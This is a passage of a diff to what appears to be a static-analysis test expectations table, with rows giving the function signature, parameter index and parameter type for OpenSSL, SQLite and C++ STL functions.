*,size_t,size_t,OSSL_LIB_CTX *) | | ssl3_cbc_remove_padding_and_mac | 2 | unsigned char * | +| (size_t *,size_t,unsigned char *,unsigned char **,int *,size_t,size_t,OSSL_LIB_CTX *) | | ssl3_cbc_remove_padding_and_mac | 3 | unsigned char ** | +| (size_t *,size_t,unsigned char *,unsigned char **,int *,size_t,size_t,OSSL_LIB_CTX *) | | ssl3_cbc_remove_padding_and_mac | 4 | int * | +| (size_t *,size_t,unsigned char *,unsigned char **,int *,size_t,size_t,OSSL_LIB_CTX *) | | ssl3_cbc_remove_padding_and_mac | 5 | size_t | +| (size_t *,size_t,unsigned char *,unsigned char **,int *,size_t,size_t,OSSL_LIB_CTX *) | | ssl3_cbc_remove_padding_and_mac | 6 | size_t | +| (size_t *,size_t,unsigned char *,unsigned char **,int *,size_t,size_t,OSSL_LIB_CTX *) | | ssl3_cbc_remove_padding_and_mac | 7 | OSSL_LIB_CTX * | +| (size_t *,size_t,unsigned char *,unsigned char **,int *,size_t,size_t,int,OSSL_LIB_CTX *) | | tls1_cbc_remove_padding_and_mac | 0 | size_t * | +| (size_t *,size_t,unsigned char *,unsigned char **,int *,size_t,size_t,int,OSSL_LIB_CTX *) | | tls1_cbc_remove_padding_and_mac | 1 | size_t | +| (size_t *,size_t,unsigned char *,unsigned char **,int *,size_t,size_t,int,OSSL_LIB_CTX *) | | tls1_cbc_remove_padding_and_mac | 2 | unsigned char * | +| (size_t *,size_t,unsigned char *,unsigned char **,int *,size_t,size_t,int,OSSL_LIB_CTX *) | | tls1_cbc_remove_padding_and_mac | 3 | unsigned char ** | +| (size_t *,size_t,unsigned char *,unsigned char **,int *,size_t,size_t,int,OSSL_LIB_CTX *) | | tls1_cbc_remove_padding_and_mac | 4 | int * | +| (size_t *,size_t,unsigned char *,unsigned char **,int *,size_t,size_t,int,OSSL_LIB_CTX *) | | tls1_cbc_remove_padding_and_mac | 5 | size_t | +| (size_t *,size_t,unsigned char *,unsigned char **,int *,size_t,size_t,int,OSSL_LIB_CTX *) | | tls1_cbc_remove_padding_and_mac | 6 | size_t | +| (size_t *,size_t,unsigned char *,unsigned char **,int *,size_t,size_t,int,OSSL_LIB_CTX *) | | tls1_cbc_remove_padding_and_mac | 7 | int | +| (size_t *,size_t,unsigned char *,unsigned char **,int *,size_t,size_t,int,OSSL_LIB_CTX *) | | tls1_cbc_remove_padding_and_mac | 8 | OSSL_LIB_CTX * | +| (size_t) | | EVP_PKEY_meth_get0 | 0 | size_t | +| (size_t) | | ossl_get_extension_type | 0 | size_t | +| (size_t) | | ossl_param_bytes_to_blocks | 0 | size_t | +| (size_t) | | ossl_quic_sstream_new | 0 | size_t | +| (size_t) | | ssl_cert_new | 0 | size_t | +| (size_t,OSSL_QTX_IOVEC *,size_t) | | ossl_quic_sstream_adjust_iov | 0 | size_t | +| (size_t,OSSL_QTX_IOVEC *,size_t) | | ossl_quic_sstream_adjust_iov | 1 | OSSL_QTX_IOVEC * | +| (size_t,OSSL_QTX_IOVEC *,size_t) | | ossl_quic_sstream_adjust_iov | 2 | size_t | +| (size_t,SSL_CTX *) | | ssl_cert_lookup_by_idx | 0 | size_t | +| (size_t,SSL_CTX *) | | ssl_cert_lookup_by_idx | 1 | SSL_CTX * | +| (size_t,const QUIC_PKT_HDR *) | | ossl_quic_wire_get_encoded_pkt_hdr_len | 0 | size_t | +| (size_t,const QUIC_PKT_HDR *) | | ossl_quic_wire_get_encoded_pkt_hdr_len | 1 | const QUIC_PKT_HDR * | +| (size_t,const char **,size_t *) | | conf_ssl_get | 0 | size_t | +| (size_t,const char **,size_t *) | | conf_ssl_get | 1 | const char ** | +| (size_t,const char **,size_t *) | | conf_ssl_get | 2 | size_t * | +| (size_t,size_t,void **,const char *,int) | | CRYPTO_aligned_alloc | 0 | size_t | +| (size_t,size_t,void **,const char *,int) | | CRYPTO_aligned_alloc | 1 | size_t | +| (size_t,size_t,void **,const char *,int) | | CRYPTO_aligned_alloc | 2 | void ** | +| (size_t,size_t,void **,const char *,int) | | CRYPTO_aligned_alloc | 3 | const char * | +| (size_t,size_t,void **,const char *,int) | | CRYPTO_aligned_alloc | 4 | int | | (size_type,const T &) | deque | assign | 0 | size_type | | (size_type,const T &) | deque | assign | 1 | const class:0 & | | (size_type,const T &) | forward_list | assign | 0 | size_type | @@ -874,12 +26533,1437 @@ getSignatureParameterName | (size_type,const T &,const Allocator &) | vector | vector | 0 | size_type | | (size_type,const T &,const Allocator &) | vector | vector | 1 | const class:0 & | | (size_type,const T &,const Allocator &) | vector | vector | 2 | const class:1 & | +| (sqlite3 *) | | close_db | 0 | sqlite3 * | +| (sqlite3 *) | | sqlite3CompletionVtabInit | 0 | sqlite3 * | +| (sqlite3 *) | | sqlite3_changes | 0 | sqlite3 * | +| (sqlite3 *) | | sqlite3_changes64 | 0 | sqlite3 * | +| (sqlite3 *) | | sqlite3_close | 0 | sqlite3 * | +| (sqlite3 *) | | sqlite3_db_mutex | 0 | sqlite3 * | +| (sqlite3 *) | | sqlite3_errcode | 0 | sqlite3 * | +| (sqlite3 *) | | sqlite3_errmsg | 0 | sqlite3 * | +| (sqlite3 *) | | sqlite3_errmsg16 | 0 | sqlite3 * | +| (sqlite3 *) | | sqlite3_error_offset | 0 | sqlite3 * | +| (sqlite3 *) | | sqlite3_extended_errcode | 0 | sqlite3 * | +| (sqlite3 *) | | sqlite3_get_autocommit | 0 | sqlite3 * | +| (sqlite3 *) | | sqlite3_last_insert_rowid | 0 | sqlite3 * | +| (sqlite3 *) | | sqlite3_str_new | 0 | sqlite3 * | +| (sqlite3 *) | | sqlite3_system_errno | 0 | sqlite3 * | +| (sqlite3 *) | | sqlite3_total_changes | 0 | sqlite3 * | +| (sqlite3 *) | | sqlite3_total_changes64 | 0 | sqlite3 * | +| (sqlite3 *) | | sqlite3_vtab_on_conflict | 0 | sqlite3 * | +| (sqlite3 *,..(*)(..),void *) | | sqlite3_busy_handler | 0 | sqlite3 * | +| (sqlite3 *,..(*)(..),void *) | | sqlite3_busy_handler | 1 | ..(*)(..) | +| (sqlite3 *,..(*)(..),void *) | | sqlite3_busy_handler | 2 | void * | +| (sqlite3 *,..(*)(..),void *) | | sqlite3_commit_hook | 0 | sqlite3 * | +| (sqlite3 *,..(*)(..),void *) | | sqlite3_commit_hook | 1 | ..(*)(..) | +| (sqlite3 *,..(*)(..),void *) | | sqlite3_commit_hook | 2 | void * | +| (sqlite3 *,..(*)(..),void *) | | sqlite3_profile | 0 | sqlite3 * | +| (sqlite3 *,..(*)(..),void *) | | sqlite3_profile | 1 | ..(*)(..) | +| (sqlite3 *,..(*)(..),void *) | | sqlite3_profile | 2 | void * | +| (sqlite3 *,..(*)(..),void *) | | sqlite3_rollback_hook | 0 | sqlite3 * | +| (sqlite3 *,..(*)(..),void *) | | sqlite3_rollback_hook | 1 | ..(*)(..) | +| (sqlite3 *,..(*)(..),void *) | | sqlite3_rollback_hook | 2 | void * | +| (sqlite3 *,..(*)(..),void *) | | sqlite3_set_authorizer | 0 | sqlite3 * | +| (sqlite3 *,..(*)(..),void *) | | sqlite3_set_authorizer | 1 | ..(*)(..) | +| (sqlite3 *,..(*)(..),void *) | | sqlite3_set_authorizer | 2 | void * | +| (sqlite3 *,..(*)(..),void *) | | sqlite3_trace | 0 | sqlite3 * | +| (sqlite3 *,..(*)(..),void *) | | sqlite3_trace | 1 | ..(*)(..) | +| (sqlite3 *,..(*)(..),void *) | | sqlite3_trace | 2 | void * | +| (sqlite3 *,..(*)(..),void *) | | sqlite3_update_hook | 0 | sqlite3 * | +| (sqlite3 *,..(*)(..),void *) | | sqlite3_update_hook | 1 | ..(*)(..) | +| (sqlite3 *,..(*)(..),void *) | | sqlite3_update_hook | 2 | void * | +| (sqlite3 *,..(*)(..),void *) | | sqlite3_wal_hook | 0 | sqlite3 * | +| (sqlite3 *,..(*)(..),void *) | | sqlite3_wal_hook | 1 | ..(*)(..) | +| (sqlite3 *,..(*)(..),void *) | | sqlite3_wal_hook | 2 | void * | +| (sqlite3 *,..(*)(..),void *,..(*)(..)) | | sqlite3_autovacuum_pages | 0 | sqlite3 * | +| (sqlite3 *,..(*)(..),void *,..(*)(..)) | | sqlite3_autovacuum_pages | 1 | ..(*)(..) | +| (sqlite3 *,..(*)(..),void *,..(*)(..)) | | sqlite3_autovacuum_pages | 2 | void * | +| (sqlite3 *,..(*)(..),void *,..(*)(..)) | | sqlite3_autovacuum_pages | 3 | ..(*)(..) | +| (sqlite3 *,char **) | | sqlite3_expert_new | 0 | sqlite3 * | +| (sqlite3 *,char **) | | sqlite3_expert_new | 1 | char ** | +| (sqlite3 *,char **,const sqlite3_api_routines *) | | sqlite3_base64_init | 0 | sqlite3 * | +| (sqlite3 *,char **,const sqlite3_api_routines *) | | sqlite3_base64_init | 1 | char ** | +| (sqlite3 *,char **,const sqlite3_api_routines *) | | sqlite3_base64_init | 2 | const sqlite3_api_routines * | +| (sqlite3 *,char **,const sqlite3_api_routines *) | | sqlite3_base85_init | 0 | sqlite3 * | +| (sqlite3 *,char **,const sqlite3_api_routines *) | | sqlite3_base85_init | 1 | char ** | +| (sqlite3 *,char **,const sqlite3_api_routines *) | | sqlite3_base85_init | 2 | const sqlite3_api_routines * | +| (sqlite3 *,char **,const sqlite3_api_routines *) | | sqlite3_completion_init | 0 | sqlite3 * | +| (sqlite3 *,char **,const sqlite3_api_routines *) | | sqlite3_completion_init | 1 | char ** | +| (sqlite3 *,char **,const sqlite3_api_routines *) | | sqlite3_completion_init | 2 | const sqlite3_api_routines * | +| (sqlite3 *,char **,const sqlite3_api_routines *) | | sqlite3_dbdata_init | 0 | sqlite3 * | +| (sqlite3 *,char **,const sqlite3_api_routines *) | | sqlite3_dbdata_init | 1 | char ** | +| (sqlite3 *,char **,const sqlite3_api_routines *) | | sqlite3_dbdata_init | 2 | const sqlite3_api_routines * | +| (sqlite3 *,char **,const sqlite3_api_routines *) | | sqlite3_decimal_init | 0 | sqlite3 * | +| (sqlite3 *,char **,const sqlite3_api_routines *) | | sqlite3_decimal_init | 1 | char ** | +| (sqlite3 *,char **,const sqlite3_api_routines *) | | sqlite3_decimal_init | 2 | const sqlite3_api_routines * | +| (sqlite3 *,char **,const sqlite3_api_routines *) | | sqlite3_fileio_init | 0 | sqlite3 * | +| (sqlite3 *,char **,const sqlite3_api_routines *) | | sqlite3_fileio_init | 1 | char ** | +| (sqlite3 *,char **,const sqlite3_api_routines *) | | sqlite3_fileio_init | 2 | const sqlite3_api_routines * | +| (sqlite3 *,char **,const sqlite3_api_routines *) | | sqlite3_ieee_init | 0 | sqlite3 * | +| (sqlite3 *,char **,const sqlite3_api_routines *) | | sqlite3_ieee_init | 1 | char ** | +| (sqlite3 *,char **,const sqlite3_api_routines *) | | sqlite3_ieee_init | 2 | const sqlite3_api_routines * | +| (sqlite3 *,char **,const sqlite3_api_routines *) | | sqlite3_percentile_init | 0 | sqlite3 * | +| (sqlite3 *,char **,const sqlite3_api_routines *) | | sqlite3_percentile_init | 1 | char ** | +| (sqlite3 *,char **,const sqlite3_api_routines *) | | sqlite3_percentile_init | 2 | const sqlite3_api_routines * | +| (sqlite3 *,char **,const sqlite3_api_routines *) | | sqlite3_regexp_init | 0 | sqlite3 * | +| (sqlite3 *,char **,const sqlite3_api_routines *) | | sqlite3_regexp_init | 1 | char ** | +| (sqlite3 *,char **,const sqlite3_api_routines *) | | sqlite3_regexp_init | 2 | const sqlite3_api_routines * | +| (sqlite3 *,char **,const sqlite3_api_routines *) | | sqlite3_series_init | 0 | sqlite3 * | +| (sqlite3 *,char **,const sqlite3_api_routines *) | | sqlite3_series_init | 1 | char ** | +| (sqlite3 *,char **,const sqlite3_api_routines *) | | sqlite3_series_init | 2 | const sqlite3_api_routines * | +| (sqlite3 *,char **,const sqlite3_api_routines *) | | sqlite3_sha_init | 0 | sqlite3 * | +| (sqlite3 *,char **,const sqlite3_api_routines *) | | sqlite3_sha_init | 1 | char ** | +| (sqlite3 *,char **,const sqlite3_api_routines *) | | sqlite3_sha_init | 2 | const sqlite3_api_routines * | +| (sqlite3 *,char **,const sqlite3_api_routines *) | | sqlite3_shathree_init | 0 | sqlite3 * | +| (sqlite3 *,char **,const sqlite3_api_routines *) | | sqlite3_shathree_init | 1 | char ** | +| (sqlite3 *,char **,const sqlite3_api_routines *) | | sqlite3_shathree_init | 2 | const sqlite3_api_routines * | +| (sqlite3 *,char **,const sqlite3_api_routines *) | | sqlite3_sqlar_init | 0 | sqlite3 * | +| (sqlite3 *,char **,const sqlite3_api_routines *) | | sqlite3_sqlar_init | 1 | char ** | +| (sqlite3 *,char **,const sqlite3_api_routines *) | | sqlite3_sqlar_init | 2 | const sqlite3_api_routines * | +| (sqlite3 *,char **,const sqlite3_api_routines *) | | sqlite3_stmtrand_init | 0 | sqlite3 * | +| (sqlite3 *,char **,const sqlite3_api_routines *) | | sqlite3_stmtrand_init | 1 | char ** | +| (sqlite3 *,char **,const sqlite3_api_routines *) | | sqlite3_stmtrand_init | 2 | const sqlite3_api_routines * | +| (sqlite3 *,char **,const sqlite3_api_routines *) | | sqlite3_uint_init | 0 | sqlite3 * | +| (sqlite3 *,char **,const sqlite3_api_routines *) | | sqlite3_uint_init | 1 | char ** | +| (sqlite3 *,char **,const sqlite3_api_routines *) | | sqlite3_uint_init | 2 | const sqlite3_api_routines * | +| (sqlite3 *,char **,const sqlite3_api_routines *) | | sqlite3_zipfile_init | 0 | sqlite3 * | +| (sqlite3 *,char **,const sqlite3_api_routines *) | | sqlite3_zipfile_init | 1 | char ** | +| (sqlite3 *,char **,const sqlite3_api_routines *) | | sqlite3_zipfile_init | 2 | const sqlite3_api_routines * | +| (sqlite3 *,const char *) | | sqlite3_declare_vtab | 0 | sqlite3 * | +| (sqlite3 *,const char *) | | sqlite3_declare_vtab | 1 | const char * | +| (sqlite3 *,const char *) | | sqlite3_get_clientdata | 0 | sqlite3 * | +| (sqlite3 *,const char *) | | sqlite3_get_clientdata | 1 | const char * | +| (sqlite3 *,const char *) | | sqlite3_wal_checkpoint | 0 | sqlite3 * | +| (sqlite3 *,const char *) | | sqlite3_wal_checkpoint | 1 | const char * | +| (sqlite3 *,const char *,..(*)(..),sqlite3_callback,void *,char **) | | sqlite3_exec | 0 | sqlite3 * | +| (sqlite3 *,const char *,..(*)(..),sqlite3_callback,void *,char **) | | sqlite3_exec | 1 | const char * | +| (sqlite3 *,const char *,..(*)(..),sqlite3_callback,void *,char **) | | sqlite3_exec | 2 | ..(*)(..) | +| (sqlite3 *,const char *,..(*)(..),sqlite3_callback,void *,char **) | | sqlite3_exec | 3 | sqlite3_callback | +| (sqlite3 *,const char *,..(*)(..),sqlite3_callback,void *,char **) | | sqlite3_exec | 4 | void * | +| (sqlite3 *,const char *,..(*)(..),sqlite3_callback,void *,char **) | | sqlite3_exec | 5 | char ** | +| (sqlite3 *,const char *,..(*)(..),void *) | | sqlite3_recover_init_sql | 0 | sqlite3 * | +| (sqlite3 *,const char *,..(*)(..),void *) | | sqlite3_recover_init_sql | 1 | const char * | +| (sqlite3 *,const char *,..(*)(..),void *) | | sqlite3_recover_init_sql | 2 | ..(*)(..) | +| (sqlite3 *,const char *,..(*)(..),void *) | | sqlite3_recover_init_sql | 3 | void * | +| (sqlite3 *,const char *,..(*)(..),void *) | | sqlite3_rtree_geometry_callback | 0 | sqlite3 * | +| (sqlite3 *,const char *,..(*)(..),void *) | | sqlite3_rtree_geometry_callback | 1 | const char * | +| (sqlite3 *,const char *,..(*)(..),void *) | | sqlite3_rtree_geometry_callback | 2 | ..(*)(..) | +| (sqlite3 *,const char *,..(*)(..),void *) | | sqlite3_rtree_geometry_callback | 3 | void * | +| (sqlite3 *,const char *,..(*)(..),void *,..(*)(..)) | | sqlite3_rtree_query_callback | 0 | sqlite3 * | +| (sqlite3 *,const char *,..(*)(..),void *,..(*)(..)) | | sqlite3_rtree_query_callback | 1 | const char * | +| (sqlite3 *,const char *,..(*)(..),void *,..(*)(..)) | | sqlite3_rtree_query_callback | 2 | ..(*)(..) | +| (sqlite3 *,const char *,..(*)(..),void *,..(*)(..)) | | sqlite3_rtree_query_callback | 3 | void * | +| (sqlite3 *,const char *,..(*)(..),void *,..(*)(..)) | | sqlite3_rtree_query_callback | 4 | ..(*)(..) | +| (sqlite3 *,const char *,char ***,int *,int *,char **) | | sqlite3_get_table | 0 | sqlite3 * | +| (sqlite3 *,const char *,char ***,int *,int *,char **) | | sqlite3_get_table | 1 | const char * | +| (sqlite3 *,const char *,char ***,int *,int *,char **) | | sqlite3_get_table | 2 | char *** | +| (sqlite3 *,const char *,char ***,int *,int *,char **) | | sqlite3_get_table | 3 | int * | +| (sqlite3 *,const char *,char ***,int *,int *,char **) | | sqlite3_get_table | 4 | int * | +| (sqlite3 *,const char *,char ***,int *,int *,char **) | | sqlite3_get_table | 5 | char ** | +| (sqlite3 *,const char *,const char *) | | sqlite3_recover_init | 0 | sqlite3 * | +| (sqlite3 *,const char *,const char *) | | sqlite3_recover_init | 1 | const char * | +| (sqlite3 *,const char *,const char *) | | sqlite3_recover_init | 2 | const char * | +| (sqlite3 *,const char *,const char *,..(*)(..),void *) | | recoverInit | 0 | sqlite3 * | +| (sqlite3 *,const char *,const char *,..(*)(..),void *) | | recoverInit | 1 | const char * | +| (sqlite3 *,const char *,const char *,..(*)(..),void *) | | recoverInit | 2 | const char * | +| (sqlite3 *,const char *,const char *,..(*)(..),void *) | | recoverInit | 3 | ..(*)(..) | +| (sqlite3 *,const char *,const char *,..(*)(..),void *) | | recoverInit | 4 | void * | +| (sqlite3 *,const char *,const char *,char **) | | sqlite3_load_extension | 0 | sqlite3 * | +| (sqlite3 *,const char *,const char *,char **) | | sqlite3_load_extension | 1 | const char * | +| (sqlite3 *,const char *,const char *,char **) | | sqlite3_load_extension | 2 | const char * | +| (sqlite3 *,const char *,const char *,char **) | | sqlite3_load_extension | 3 | char ** | +| (sqlite3 *,const char *,const char *,const char *,const char **,const char **,int *,int *,int *) | | sqlite3_table_column_metadata | 0 | sqlite3 * | +| (sqlite3 *,const char *,const char *,const char *,const char **,const char **,int *,int *,int *) | | sqlite3_table_column_metadata | 1 | const char * | +| (sqlite3 *,const char *,const char *,const char *,const char **,const char **,int *,int *,int *) | | sqlite3_table_column_metadata | 2 | const char * | +| (sqlite3 *,const char *,const char *,const char *,const char **,const char **,int *,int *,int *) | | sqlite3_table_column_metadata | 3 | const char * | +| (sqlite3 *,const char *,const char *,const char *,const char **,const char **,int *,int *,int *) | | sqlite3_table_column_metadata | 4 | const char ** | +| (sqlite3 *,const char *,const char *,const char *,const char **,const char **,int *,int *,int *) | | sqlite3_table_column_metadata | 5 | const char ** | +| (sqlite3 *,const char *,const char *,const char *,const char **,const char **,int *,int *,int *) | | sqlite3_table_column_metadata | 6 | int * | +| (sqlite3 *,const char *,const char *,const char *,const char **,const char **,int *,int *,int *) | | sqlite3_table_column_metadata | 7 | int * | +| (sqlite3 *,const char *,const char *,const char *,const char **,const char **,int *,int *,int *) | | sqlite3_table_column_metadata | 8 | int * | +| (sqlite3 *,const char *,const char *,const char *,sqlite3_int64,sqlite_int64,int,sqlite3_blob **) | | sqlite3_blob_open | 0 | sqlite3 * | +| (sqlite3 *,const char *,const char *,const char *,sqlite3_int64,sqlite_int64,int,sqlite3_blob **) | | sqlite3_blob_open | 1 | const char * | +| (sqlite3 *,const char *,const char *,const char *,sqlite3_int64,sqlite_int64,int,sqlite3_blob **) | | sqlite3_blob_open | 2 | const char * | +| (sqlite3 *,const char *,const char *,const char *,sqlite3_int64,sqlite_int64,int,sqlite3_blob **) | | sqlite3_blob_open | 3 | const char * | +| (sqlite3 *,const char *,const char *,const char *,sqlite3_int64,sqlite_int64,int,sqlite3_blob **) | | sqlite3_blob_open | 4 | sqlite3_int64 | +| (sqlite3 *,const char *,const char *,const char *,sqlite3_int64,sqlite_int64,int,sqlite3_blob **) | | sqlite3_blob_open | 5 | sqlite_int64 | +| (sqlite3 *,const char *,const char *,const char *,sqlite3_int64,sqlite_int64,int,sqlite3_blob **) | | sqlite3_blob_open | 6 | int | +| (sqlite3 *,const char *,const char *,const char *,sqlite3_int64,sqlite_int64,int,sqlite3_blob **) | | sqlite3_blob_open | 7 | sqlite3_blob ** | +| (sqlite3 *,const char *,const sqlite3_module *,void *) | | sqlite3_create_module | 0 | sqlite3 * | +| (sqlite3 *,const char *,const sqlite3_module *,void *) | | sqlite3_create_module | 1 | const char * | +| (sqlite3 *,const char *,const sqlite3_module *,void *) | | sqlite3_create_module | 2 | const sqlite3_module * | +| (sqlite3 *,const char *,const sqlite3_module *,void *) | | sqlite3_create_module | 3 | void * | +| (sqlite3 *,const char *,const sqlite3_module *,void *,..(*)(..)) | | sqlite3_create_module_v2 | 0 | sqlite3 * | +| (sqlite3 *,const char *,const sqlite3_module *,void *,..(*)(..)) | | sqlite3_create_module_v2 | 1 | const char * | +| (sqlite3 *,const char *,const sqlite3_module *,void *,..(*)(..)) | | sqlite3_create_module_v2 | 2 | const sqlite3_module * | +| (sqlite3 *,const char *,const sqlite3_module *,void *,..(*)(..)) | | sqlite3_create_module_v2 | 3 | void * | +| (sqlite3 *,const char *,const sqlite3_module *,void *,..(*)(..)) | | sqlite3_create_module_v2 | 4 | ..(*)(..) | +| (sqlite3 *,const char *,int) | | sqlite3_overload_function | 0 | sqlite3 * | +| (sqlite3 *,const char *,int) | | sqlite3_overload_function | 1 | const char * | +| (sqlite3 *,const char *,int) | | sqlite3_overload_function | 2 | int | +| (sqlite3 *,const char *,int,int *,int *) | | sqlite3_wal_checkpoint_v2 | 0 | sqlite3 * | +| (sqlite3 *,const char *,int,int *,int *) | | sqlite3_wal_checkpoint_v2 | 1 | const char * | +| (sqlite3 *,const char *,int,int *,int *) | | sqlite3_wal_checkpoint_v2 | 2 | int | +| (sqlite3 *,const char *,int,int *,int *) | | sqlite3_wal_checkpoint_v2 | 3 | int * | +| (sqlite3 *,const char *,int,int *,int *) | | sqlite3_wal_checkpoint_v2 | 4 | int * | +| (sqlite3 *,const char *,int,int,void *,..(*)(..),..(*)(..),..(*)(..)) | | sqlite3_create_function | 0 | sqlite3 * | +| (sqlite3 *,const char *,int,int,void *,..(*)(..),..(*)(..),..(*)(..)) | | sqlite3_create_function | 1 | const char * | +| (sqlite3 *,const char *,int,int,void *,..(*)(..),..(*)(..),..(*)(..)) | | sqlite3_create_function | 2 | int | +| (sqlite3 *,const char *,int,int,void *,..(*)(..),..(*)(..),..(*)(..)) | | sqlite3_create_function | 3 | int | +| (sqlite3 *,const char *,int,int,void *,..(*)(..),..(*)(..),..(*)(..)) | | sqlite3_create_function | 4 | void * | +| (sqlite3 *,const char *,int,int,void *,..(*)(..),..(*)(..),..(*)(..)) | | sqlite3_create_function | 5 | ..(*)(..) | +| (sqlite3 *,const char *,int,int,void *,..(*)(..),..(*)(..),..(*)(..)) | | sqlite3_create_function | 6 | ..(*)(..) | +| (sqlite3 *,const char *,int,int,void *,..(*)(..),..(*)(..),..(*)(..)) | | sqlite3_create_function | 7 | ..(*)(..) | +| (sqlite3 *,const char *,int,int,void *,..(*)(..),..(*)(..),..(*)(..),..(*)(..)) | | sqlite3_create_function_v2 | 0 | sqlite3 * | +| (sqlite3 *,const char *,int,int,void *,..(*)(..),..(*)(..),..(*)(..),..(*)(..)) | | sqlite3_create_function_v2 | 1 | const char * | +| (sqlite3 *,const char *,int,int,void *,..(*)(..),..(*)(..),..(*)(..),..(*)(..)) | | sqlite3_create_function_v2 | 2 | int | +| (sqlite3 *,const char *,int,int,void *,..(*)(..),..(*)(..),..(*)(..),..(*)(..)) | | sqlite3_create_function_v2 | 3 | int | +| (sqlite3 *,const char *,int,int,void *,..(*)(..),..(*)(..),..(*)(..),..(*)(..)) | | sqlite3_create_function_v2 | 4 | void * | +| (sqlite3 *,const char *,int,int,void *,..(*)(..),..(*)(..),..(*)(..),..(*)(..)) | | sqlite3_create_function_v2 | 5 | ..(*)(..) | +| (sqlite3 *,const char *,int,int,void *,..(*)(..),..(*)(..),..(*)(..),..(*)(..)) | | sqlite3_create_function_v2 | 6 | ..(*)(..) | +| (sqlite3 *,const char *,int,int,void *,..(*)(..),..(*)(..),..(*)(..),..(*)(..)) | | sqlite3_create_function_v2 | 7 | ..(*)(..) | +| (sqlite3 *,const char *,int,int,void *,..(*)(..),..(*)(..),..(*)(..),..(*)(..)) | | sqlite3_create_function_v2 | 8 | ..(*)(..) | +| (sqlite3 *,const char *,int,int,void *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..)) | | sqlite3_create_window_function | 0 | sqlite3 * | +| (sqlite3 *,const char *,int,int,void *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..)) | | sqlite3_create_window_function | 1 | const char * | +| (sqlite3 *,const char *,int,int,void *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..)) | | sqlite3_create_window_function | 2 | int | +| (sqlite3 *,const char *,int,int,void *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..)) | | sqlite3_create_window_function | 3 | int | +| (sqlite3 *,const char *,int,int,void *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..)) | | sqlite3_create_window_function | 4 | void * | +| (sqlite3 *,const char *,int,int,void *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..)) | | sqlite3_create_window_function | 5 | ..(*)(..) | +| (sqlite3 *,const char *,int,int,void *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..)) | | sqlite3_create_window_function | 6 | ..(*)(..) | +| (sqlite3 *,const char *,int,int,void *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..)) | | sqlite3_create_window_function | 7 | ..(*)(..) | +| (sqlite3 *,const char *,int,int,void *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..)) | | sqlite3_create_window_function | 8 | ..(*)(..) | +| (sqlite3 *,const char *,int,int,void *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..)) | | sqlite3_create_window_function | 9 | ..(*)(..) | +| (sqlite3 *,const char *,int,sqlite3_stmt **,const char **) | | sqlite3_prepare | 0 | sqlite3 * | +| (sqlite3 *,const char *,int,sqlite3_stmt **,const char **) | | sqlite3_prepare | 1 | const char * | +| (sqlite3 *,const char *,int,sqlite3_stmt **,const char **) | | sqlite3_prepare | 2 | int | +| (sqlite3 *,const char *,int,sqlite3_stmt **,const char **) | | sqlite3_prepare | 3 | sqlite3_stmt ** | +| (sqlite3 *,const char *,int,sqlite3_stmt **,const char **) | | sqlite3_prepare | 4 | const char ** | +| (sqlite3 *,const char *,int,sqlite3_stmt **,const char **) | | sqlite3_prepare_v2 | 0 | sqlite3 * | +| (sqlite3 *,const char *,int,sqlite3_stmt **,const char **) | | sqlite3_prepare_v2 | 1 | const char * | +| (sqlite3 *,const char *,int,sqlite3_stmt **,const char **) | | sqlite3_prepare_v2 | 2 | int | +| (sqlite3 *,const char *,int,sqlite3_stmt **,const char **) | | sqlite3_prepare_v2 | 3 | sqlite3_stmt ** | +| (sqlite3 *,const char *,int,sqlite3_stmt **,const char **) | | sqlite3_prepare_v2 | 4 | const char ** | +| (sqlite3 *,const char *,int,unsigned int,sqlite3_stmt **,const char **) | | sqlite3_prepare_v3 | 0 | sqlite3 * | +| (sqlite3 *,const char *,int,unsigned int,sqlite3_stmt **,const char **) | | sqlite3_prepare_v3 | 1 | const char * | +| (sqlite3 *,const char *,int,unsigned int,sqlite3_stmt **,const char **) | | sqlite3_prepare_v3 | 2 | int | +| (sqlite3 *,const char *,int,unsigned int,sqlite3_stmt **,const char **) | | sqlite3_prepare_v3 | 3 | unsigned int | +| (sqlite3 *,const char *,int,unsigned int,sqlite3_stmt **,const char **) | | sqlite3_prepare_v3 | 4 | sqlite3_stmt ** | +| (sqlite3 *,const char *,int,unsigned int,sqlite3_stmt **,const char **) | | sqlite3_prepare_v3 | 5 | const char ** | +| (sqlite3 *,const char *,int,void *) | | sqlite3_file_control | 0 | sqlite3 * | +| (sqlite3 *,const char *,int,void *) | | sqlite3_file_control | 1 | const char * | +| (sqlite3 *,const char *,int,void *) | | sqlite3_file_control | 2 | int | +| (sqlite3 *,const char *,int,void *) | | sqlite3_file_control | 3 | void * | +| (sqlite3 *,const char *,int,void *,..(*)(..)) | | sqlite3_create_collation | 0 | sqlite3 * | +| (sqlite3 *,const char *,int,void *,..(*)(..)) | | sqlite3_create_collation | 1 | const char * | +| (sqlite3 *,const char *,int,void *,..(*)(..)) | | sqlite3_create_collation | 2 | int | +| (sqlite3 *,const char *,int,void *,..(*)(..)) | | sqlite3_create_collation | 3 | void * | +| (sqlite3 *,const char *,int,void *,..(*)(..)) | | sqlite3_create_collation | 4 | ..(*)(..) | +| (sqlite3 *,const char *,int,void *,..(*)(..),..(*)(..)) | | sqlite3_create_collation_v2 | 0 | sqlite3 * | +| (sqlite3 *,const char *,int,void *,..(*)(..),..(*)(..)) | | sqlite3_create_collation_v2 | 1 | const char * | +| (sqlite3 *,const char *,int,void *,..(*)(..),..(*)(..)) | | sqlite3_create_collation_v2 | 2 | int | +| (sqlite3 *,const char *,int,void *,..(*)(..),..(*)(..)) | | sqlite3_create_collation_v2 | 3 | void * | +| (sqlite3 *,const char *,int,void *,..(*)(..),..(*)(..)) | | sqlite3_create_collation_v2 | 4 | ..(*)(..) | +| (sqlite3 *,const char *,int,void *,..(*)(..),..(*)(..)) | | sqlite3_create_collation_v2 | 5 | ..(*)(..) | +| (sqlite3 *,const char *,sqlite3 *,const char *) | | sqlite3_backup_init | 0 | sqlite3 * | +| (sqlite3 *,const char *,sqlite3 *,const char *) | | sqlite3_backup_init | 1 | const char * | +| (sqlite3 